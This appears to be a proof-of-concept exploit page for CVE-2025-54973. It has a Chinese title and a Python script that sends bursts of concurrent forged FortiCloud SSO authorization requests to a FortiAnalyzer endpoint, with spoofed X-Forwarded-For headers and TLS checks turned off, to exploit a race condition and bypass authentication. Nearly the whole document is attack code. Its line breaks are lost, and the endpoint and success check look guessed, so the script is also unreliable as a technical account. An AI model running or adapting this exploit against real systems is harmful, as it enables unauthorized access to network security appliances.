CVE-2025-54973 Fortinet FortiAnalyzer FortiCloud SSO授权绕过漏洞

# CVE-2025-54973 - FortiAnalyzer FortiCloud SSO Race Condition PoC # This PoC demonstrates the concept of exploiting a race condition # in the FortiCloud SSO authorization flow to bypass authentication. import threading import requests import time import random import string TARGET_URL = "https://<target_fortianalyzer>/api/v1/sso/forticloud/authorize" THREAD_COUNT = 50 REQUEST_INTERVAL = 0.001 # Minimal delay to maximize race condition probability def generate_session_id(): """Generate a random session identifier for the SSO request.""" return ''.join(random.choices(string.ascii_letters + string.digits, k=32)) def craft_sso_request(session_id): """Craft a malicious FortiCloud SSO authorization request.""" headers = { "Content-Type": "application/json", "User-Agent": "FortiCloudSSOClient/1.0", "X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}" } payload = { "sso_token": "invalid_token_" + session_id, "redirect_uri": "https://forticloud.com/callback", "client_id": "fortianalyzer-sso", "response_type": "code", "state": session_id, "request_id": session_id } return headers, payload def send_race_request(thread_id): """Send concurrent SSO requests to exploit the race condition.""" session = requests.Session() for i in range(100): try: session_id = generate_session_id() headers, payload = craft_sso_request(session_id) response = session.post(TARGET_URL, json=payload, headers=headers, timeout=5, verify=False) if response.status_code == 200 and "authorization_granted" in response.text: print(f"[Thread {thread_id}] Potential bypass at iteration {i}!") print(f"Response: {response.text}") return True except Exception as e: pass time.sleep(REQUEST_INTERVAL) return False def main(): print(f"[*] Starting race condition exploit against {TARGET_URL}") print(f"[*] Launching {THREAD_COUNT} concurrent threads") threads = [] for t in range(THREAD_COUNT): thread = threading.Thread(target=send_race_request, args=(t,)) threads.append(thread) thread.start() for thread in threads: thread.join(timeout=30) print("[*] Exploit completed") if __name__ == "__main__": main()